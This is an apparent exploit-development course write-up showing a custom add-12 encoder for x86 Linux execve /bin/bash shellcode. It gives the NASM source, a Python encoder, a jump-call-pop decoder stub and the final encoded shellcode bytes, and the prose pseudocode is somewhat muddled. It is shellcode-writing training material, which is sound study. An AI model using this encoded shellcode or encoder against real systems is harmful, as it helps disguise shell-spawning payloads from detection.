Assignment Task:
Create a custom encoding scheme, similar to "Insertion Encoder"
PoC with using execve-stack as the shellcode to encode with schema and execute
The encoding scheme chosen for this assigmnet is AddWelve encoding scheme. It is a variant of caesar cipher in which the byte is shifted forward 12 bytes. The algorithm is as follows:
[code lang="c"]
Take a byte from shellcode
Compare it with 0xC (or 12 in decimal)
if the byte is less than 0xC:
go to warp
else
add 0xC to the byte
warp:
add 0xC to the byte
substract 0x100 (or 256 in decimal) from the above value
go to next byte if length is less than the size of shellcode
[/code]
Generating execve-stack shellcode
For the purpose of this assignment, I will be using the following assembly code:
[code lang="c"]
global _start
section .text
_start:
PUSH 0x44444343
PUSH 0x43434242
PUSH 0x42424168
PUSH 0x7361622f
PUSH 0x6e69622f
xor ebx, ebx
mov [esp+9],bl
mov [esp+10],esp
mov [esp+14],ebx
lea ebx, [esp]
lea ecx, [esp+10]
lea edx, [esp+14]
xor eax,eax
mov al, 0xb
int 0x80
[/code]
Compiling and linking this code:
Verifying that shellcode does not contain any nulls.
Generating shellcode using the following command:
[code lang="c"]
objdump -d ./execve-stack.o|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
[/code]
Generated shellcode:
[code lang="c"]
"\x68\x43\x43\x44\x44\x68\x42\x42\x43\x43\x68\x68\x41\x42\x42\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x31\xdb\x88\x5c\x24\x09\x89\x64\x24\x0a\x89\x5c\x24\x0e\x8d\x1c\x24\x8d\x4c\x24\x0a\x8d\x54\x24\x0e\x31\xc0\xb0\x0b\xcd\x80"
[/code]
Encoding the shellcode using AddWelve encoding scheme
The following python script takes the shellcode, enocdes it with AddWelve scheme and prints the output in C and DB format:
[code lang="python"]
shellcode = ("\x68\x43\x43\x44\x44\x68\x42\x42\x43\x43\x68\x68\x41\x42\x42\x68\x2f\x62\x61\x73\x68\x2f\x62"
"\x69\x6e\x31\xdb\x88\x5c\x24\x09\x89\x64\x24\x0a\x89\x5c\x24\x0e\x8d\x1c\x24\x8d\x4c\x24\x0a\x8d\x54"
"\x24\x0e\x31\xc0\xb0\x0b\xcd\x80")
encodeWithByte = 12
maxValue = 256 - encodeWithByte
encodedShellcode = ""
db_shellcode = []
for byte in bytearray(shellcode):
if byte < maxValue:
encodedShellcode += '\\x%02x' % (byte + encodeWithByte)
db_shellcode.append('0x%02x' % (byte + encodeWithByte))
else:
encodedShellcode += '\\x%02x' % (encodeWithByte - 256 + byte)
db_shellcode.append('0x%02x' % (encodeWithByte - 256 + byte))
print "Encoded shellcode:\n%s\n" % encodedShellcode
print "DB formatted shellcode (to paste in .nasm file):\n%s\n" % ','.join(db_shellcode)
[/code]
Output from this script:
DB formatted shellcode:
[code lang="c"]
0x74,0x4f,0x4f,0x50,0x50,0x74,0x4e,0x4e,0x4f,0x4f,0x74,0x74,0x4d,0x4e,0x4e,0x74,0x3b,0x6e,0x6d,0x7f,0x74,0x3b,0x6e,0x75,0x7a,0x3d,0xe7,0x94,0x68,0x30,0x15,0x95,0x70,0x30,0x16,0x95,0x68,0x30,0x1a,0x99,0x28,0x30,0x99,0x58,0x30,0x16,0x99,0x60,0x30,0x1a,0x3d,0xcc,0xbc,0x17,0xd9,0x8c
[/code]
Building the decoder
The following assembly code decodes the shellcode encoded with AddWelve scheme. It uses jump-call-pop technique to get the address of the encoded shellcode and then runs the AddWelve algorithm in reverse:
[code lang="c"]
global _start
section .text
_start:
jmp short call_shellcode
decoder:
pop esi
xor ecx, ecx
mov cl, len
decode:
cmp byte [esi], 0xC
jl wrap
sub byte [esi], 0xC
jmp short nextByte
wrap:
xor ebx, ebx
mov bl, 0xff
inc bx
sub bl, 0xC
add bl, byte [esi]
mov byte [esi], bl
nextByte:
inc esi
loop decode
jmp short shellcode
call_shellcode:
call decoder
shellcode:
db 0x74,0x4f,0x4f,0x50,0x50,0x74,0x4e,0x4e,0x4f,0x4f,0x74,0x74,0x4d,0x4e,0x4e,0x74,0x3b,0x6e,0x6d,0x7f,0x74,0x3b,0x6e,0x75,0x7a,0x3d,0xe7,0x94,0x68,0x30,0x15,0x95,0x70,0x30,0x16,0x95,0x68,0x30,0x1a,0x99,0x28,0x30,0x99,0x58,0x30,0x16,0x99,0x60,0x30,0x1a,0x3d,0xcc,0xbc,0x17,0xd9,0x8c
len: equ $-shellcode
[/code]
Compiling and linking this code:
Verifying that shellcode does not contain any nulls.
[code lang="c"]
ptlabmachine@ptlabmachineu1204:~/Documents/SLAE/SLAE-EXAM/4$ objdump ./execve-stack-encoded.o -d -M intel
./execve-stack-encoded.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: eb 21 jmp 23 <call_shellcode>
00000002 <decoder>:
2: 5e pop esi
3: 31 c9 xor ecx,ecx
5: b1 38 mov cl,0x38
00000007 <decode>:
7: 80 3e 0c cmp BYTE PTR [esi],0xc
a: 7c 05 jl 11 <wrap>
c: 80 2e 0c sub BYTE PTR [esi],0xc
f: eb 0d jmp 1e <nextByte>
00000011 <wrap>:
11: 31 db xor ebx,ebx
13: b3 ff mov bl,0xff
15: 66 43 inc bx
17: 80 eb 0c sub bl,0xc
1a: 02 1e add bl,BYTE PTR [esi]
1c: 88 1e mov BYTE PTR [esi],bl
0000001e <nextByte>:
1e: 46 inc esi
1f: e2 e6 loop 7 <decode>
21: eb 05 jmp 28 <shellcode>
00000023 <call_shellcode>:
23: e8 da ff ff ff call 2 <decoder>
00000028 <shellcode>:
28: 74 4f je 79 <len+0x41>
2a: 4f dec edi
2b: 50 push eax
2c: 50 push eax
2d: 74 4e je 7d <len+0x45>
2f: 4e dec esi
30: 4f dec edi
31: 4f dec edi
32: 74 74 je a8 <len+0x70>
34: 4d dec ebp
35: 4e dec esi
36: 4e dec esi
37: 74 3b je 74 <len+0x3c>
39: 6e outs dx,BYTE PTR ds:[esi]
3a: 6d ins DWORD PTR es:[edi],dx
3b: 7f 74 jg b1 <len+0x79>
3d: 3b 6e 75 cmp ebp,DWORD PTR [esi+0x75]
40: 7a 3d jp 7f <len+0x47>
42: e7 94 out 0x94,eax
44: 68 30 15 95 70 push 0x70951530
49: 30 16 xor BYTE PTR [esi],dl
4b: 95 xchg ebp,eax
4c: 68 30 1a 99 28 push 0x28991a30
51: 30 99 58 30 16 99 xor BYTE PTR [ecx-0x66e9cfa8],bl
57: 60 pusha
58: 30 1a xor BYTE PTR [edx],bl
5a: 3d cc bc 17 d9 cmp eax,0xd917bccc
5f: 8c .byte 0x8c
[/code]
Generating shellcode using the following command:
[code lang="c"]
objdump -d ./execve-stack-encoded.o|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
[/code]
Generated shellcode:
[code lang="c"]
"\xeb\x21\x5e\x31\xc9\xb1\x38\x80\x3e\x0c\x7c\x05\x80\x2e\x0c\xeb\x0d\x31\xdb\xb3\xff\x66\x43\x80\xeb\x0c\x02\x1e\x88\x1e\x46\xe2\xe6\xeb\x05\xe8\xda\xff\xff\xff\x74\x4f\x4f\x50\x50\x74\x4e\x4e\x4f\x4f\x74\x74\x4d\x4e\x4e\x74\x3b\x6e\x6d\x7f\x74\x3b\x6e\x75\x7a\x3d\xe7\x94\x68\x30\x15\x95\x70\x30\x16\x95\x68\x30\x1a\x99\x28\x30\x99\x58\x30\x16\x99\x60\x30\x1a\x3d\xcc\xbc\x17\xd9\x8c"
[/code]
Testing the encoded shellcode
Github repository for this assignment: Assignment 4